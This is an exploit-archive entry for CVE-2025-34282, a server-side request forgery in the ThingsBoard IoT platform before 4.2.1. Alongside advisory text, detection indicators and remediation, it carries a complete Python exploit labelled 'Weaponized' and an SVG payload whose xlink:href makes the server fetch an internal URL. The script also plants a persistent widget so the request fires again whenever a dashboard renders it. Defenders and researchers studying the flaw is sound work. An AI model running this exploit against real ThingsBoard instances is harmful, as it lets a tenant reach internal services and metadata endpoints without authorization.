PoC Archive PoC Archive
Critical CVE-2025-34282 patched

ThingsBoard IoT Platform SSRF via SVG Image Upload (CVE-2025-34282)

by Tamil Mathi T. (mathitam) · 2026-07-06

CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-34282
Category
web
Affected product
ThingsBoard IoT Platform (Image Upload Gallery / Widget Library)
Affected versions
< 4.2.1 (tested on 4.2.0; fixed in 4.2.1)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherTamil Mathi T. (mathitam)
CVE / AdvisoryCVE-2025-34282
Categoryweb
SeverityCritical
CVSS Score9.1 (per NVD); 6.9 Medium per the original disclosure README
StatusWeaponized
Tagsthingsboard, ssrf, cwe-918, svg, image-upload, iot, python, widget-library, tenant-admin
RelatedN/A

Affected Target

FieldValue
Software / SystemThingsBoard IoT Platform (Image Upload Gallery / Widget Library)
Versions Affected< 4.2.1 (tested on 4.2.0; fixed in 4.2.1)
Language / PlatformPython 3 (exploit script), SVG/XML (payload); targets a Java-based ThingsBoard server
Authentication RequiredYes (Tenant Admin bearer token)
Network Access RequiredYes

Summary

ThingsBoard versions before 4.2.1 are vulnerable to Server-Side Request Forgery (CWE-918) through its Image Upload Gallery feature. A Tenant Admin can upload a crafted SVG file whose <image xlink:href="..."> (or <pattern>/<image>) element references an arbitrary internal or attacker-controlled URL. When the server later processes/renders that SVG — either at upload time or when the resulting public link is embedded in a custom dashboard widget via an <object> tag — ThingsBoard’s backend issues an outbound HTTP request to the attacker-supplied URL. This allows a Tenant Admin (a role below System Admin) to make the server reach internal-only services (e.g. metadata endpoints, internal admin panels, other tenants’ infrastructure) that are not otherwise exposed to the network. The included Python PoC automates the full attack chain: uploading the malicious SVG, extracting its publicLink, and creating a custom widget that embeds that link so the SSRF fires whenever the widget is rendered.


Vulnerability Details

Root Cause

ThingsBoard’s Image Upload Gallery (POST /api/image) accepts SVG files and processes them server-side without stripping or sandboxing external resource references. SVG natively supports referencing external resources via elements such as <image xlink:href="...">. The payload used in this PoC (ssrf_localhost_5555.svg) embeds:

1
<image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />

When the SVG is processed by the server (during upload processing and/or subsequent rendering), the backend resolves and fetches this xlink:href target itself, rather than only having it resolved client-side by a browser. Additionally, the exploit shows a second trigger path: embedding the uploaded image’s publicLink inside a custom widget’s templateHtml via <object data="{public_link}" type="image/svg+xml">, created through POST /api/widgetType — widget rendering also causes the server to fetch/process the referenced SVG, re-triggering the outbound request. Because the feature requires only a Tenant Admin token (a lower-privileged role than System Admin) rather than any special network permission, this is a meaningful privilege boundary bypass allowing tenants to pivot into the platform’s internal network.

Attack Vector

  1. Attacker with a valid Tenant Admin bearer token uploads a crafted SVG file to POST /api/image, embedding an internal target URL (e.g. http://127.0.0.1:5555 or a cloud metadata IP) as an xlink:href.
  2. The server processes the SVG server-side, issuing an outbound request to the embedded URL — the first SSRF trigger.
  3. The script extracts the publicLink returned in the upload response.
  4. The script creates a new custom widget (POST /api/widgetType) whose templateHtml embeds <object data="{public_link}" type="image/svg+xml">.
  5. Whenever any user views/renders that widget on a dashboard, the platform again fetches the referenced SVG/URL server-side, re-triggering the SSRF on demand.

Impact

An authenticated Tenant Admin can force the ThingsBoard server to make arbitrary outbound HTTP requests, enabling internal network reconnaissance and access to services not exposed to the internet (internal APIs, cloud instance metadata endpoints, other tenants’ or the platform’s internal infrastructure), and repeatable triggering via a persisted dashboard widget.


Environment / Lab Setup

- ThingsBoard server, version < 4.2.1 (tested against 4.2.0)
- A valid Tenant Admin account/bearer token for the target instance
- Attacker-controlled listener to observe the SSRF callback (e.g. `nc -l 5555`)
- Python 3 with the `requests` library:
    pip install requests

Proof of Concept

PoC Script

See thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py and ssrf_localhost_5555.svg in this folder.

1
2
3
4
5
6
7
8
pip install requests

nc -l 5555

python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py ssrf_localhost_5555.svg <TENANT_ADMIN_BEARER_TOKEN>

export TB_TOKEN=<TENANT_ADMIN_BEARER_TOKEN>
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py ssrf_localhost_5555.svg

Detection & Indicators of Compromise

- POST requests to /api/image containing SVG payloads with xlink:href or
  <image>/<pattern> elements pointing at internal IP ranges (127.0.0.1, RFC1918,
  169.254.169.254, etc.)
- POST requests to /api/widgetType creating widgets with templateHtml containing
  <object data="..." type="image/svg+xml"> referencing internally-hosted publicLink URLs
- Outbound HTTP connections initiated from the ThingsBoard server process toward
  internal-only hosts/ports shortly after an image upload or widget render
- Unusual widget names such as "SSRF_testing_Poc" or similarly generic/test-sounding
  custom widgets in the Widget Library

Signs of compromise:

  • Unexpected outbound connections from the ThingsBoard host to internal services or metadata endpoints
  • Newly created custom widgets embedding <object> tags with attacker-controlled publicLink/SVG references
  • SVGs in the Image Gallery containing xlink:href targets pointing to non-image, internal, or unusual hosts

Remediation

ActionDetail
Primary fixUpgrade ThingsBoard to version 4.2.1 or later, which fixes the SSRF
Interim mitigationRestrict/monitor Tenant Admin ability to upload SVG files; sanitize or strip external resource references (xlink:href, , ) from uploaded SVGs server-side; enforce egress network controls (deny server-originated requests to internal/RFC1918/link-local ranges) from the ThingsBoard host

References


Notes

Mirrored from https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282 on 2026-07-06. Working Python exploit script plus the malicious SVG payload used to trigger the ThingsBoard SSRF, as described; the author’s own README lists the CVSS as 6.9 Medium (differs from the 9.1 figure supplied in the ingestion task — recorded here as provided by the task along with the discrepancy for transparency).

thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
# Exploit Title: ThingsBoard IoT Platform - Server-Side Request Forgery (SSRF) via SVG Image Upload
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
#             https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
#   ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
#   Upload Gallery feature. An attacker can upload a crafted SVG file containing
#   a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
#   When ThingsBoard processes the uploaded SVG server-side, it fetches the
#   referenced URL, allowing the attacker to reach internal services not
#   exposed to the internet.
#
#   Requires a Tenant Admin bearer token. Tenant Admin is a role below System
#   Admin in ThingsBoard's hierarchy and has access to the Widget Library and
#   Image Upload Gallery APIs used in this exploit.
#
#   Attack chain:
#     1. Upload a malicious SVG to POST /api/image
#        -> Server processes the SVG and issues a request to the internal URL
#     2. Create a custom widget embedding the SVG's publicLink via <object> tag
#        -> Widget render also triggers the server-side fetch
#
#   SVG payload used (ssrf_localhost_5555_svg.svg):
#     <?xml version="1.0" standalone="no"?>
#     <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
#          xmlns:xlink="http://www.w3.org/1999/xlink"
#          xmlns:ev="http://www.w3.org/2001/xml-events">
#     <defs>
#       <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
#         <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
#       </pattern>
#     </defs>
#     <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
#     </svg>
#
# Usage:
#   pip install requests
#   python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
#   python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...

import requests
import json
import os
import sys
import argparse
import time

DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"

def upload_image(filepath, token):
    if not os.path.isfile(filepath):
        raise SystemExit(f"File not found: {filepath}")

    filename = os.path.basename(filepath)

    mime_types = {
        '.svg': 'image/svg+xml',
        '.jpg': 'image/jpeg',
        '.jpeg': 'image/jpeg',
        '.png': 'image/png',
        '.gif': 'image/gif'
    }
    ext = os.path.splitext(filename)[1].lower()
    mime_type = mime_types.get(ext, 'application/octet-stream')

    headers = {
        "X-Authorization": f"Bearer {token}",
        "User-Agent": "python-requests/2.x",
        "Referer": DEFAULT_REFERER,
        "Origin": DEFAULT_ORIGIN,
    }

    with open(filepath, "rb") as f:
        files = {
            "file": (filename, f, mime_type)
        }
        resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)

    return resp

def create_widget(public_link, token):
    headers = {
        "X-Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Origin": DEFAULT_ORIGIN,
        "User-Agent": "python-requests"
    }

    template_html = f"""
    <tb-value-card-widget
        [ctx]="ctx"
        [widgetTitlePanel]="widgetTitlePanel">
    </tb-value-card-widget>
    <object data="{public_link}" type="image/svg+xml"></object>
    """

    payload = {
        "fqn": "SSRF_testing_Poc",
        "name": "SSRF_testing_Poc",
        "deprecated": False,
        "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
        "description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
        "descriptor": {
            "type": "latest",
            "sizeX": 3,
            "sizeY": 3,
            "resources": [],
            "templateHtml": template_html,
            "templateCss": "",
            "controllerScript": "self.onInit = function() {\n    self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n    self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n    return {\n        maxDatasources: 1,\n        maxDataKeys: 1,\n        singleEntity: true,\n        previewWidth: '250px',\n        previewHeight: '250px',\n        embedTitlePanel: true,\n        supportsUnitConversion: true,\n        defaultDataKeysFunction: function() {\n            return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n        }\n    };\n};\n\nself.onDestroy = function() {\n};\n",
            "dataKeySettingsForm": [],
            "settingsDirective": "tb-value-card-widget-settings",
            "hasBasicMode": True,
            "basicModeDirective": "tb-value-card-basic-config",
            "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}"
        },
        "resources": None,
        "scada": False,
        "tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
    }

    try:
        resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
        return resp
    except Exception as e:
        print(f"Request failed: {e}", file=sys.stderr)
        sys.exit(1)

def main(image_path, token):
    try:
        resp = upload_image(image_path, token)
        print("Upload Status:", resp.status_code)

        public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
        if not public_link:
            print(resp.json())
            print("Failed to retrieve public link from response.")
            sys.exit(1)

        print("Public Link:", public_link)

        time.sleep(2)

        widget_resp = create_widget(public_link, token)
        print("Widget Creation Status:", widget_resp.status_code)
        print("\n[+] Widget created successfully.")
        print("    Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
        print("    Add it to any dashboard to trigger the SSRF.")

    except Exception as e:
        print("Error:", e, file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
    parser.add_argument("image", help="Path to the SVG file to upload")
    parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
    args = parser.parse_args()

    if not args.token:
        print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
        parser.print_help()
        sys.exit(2)

    main(args.image, args.token)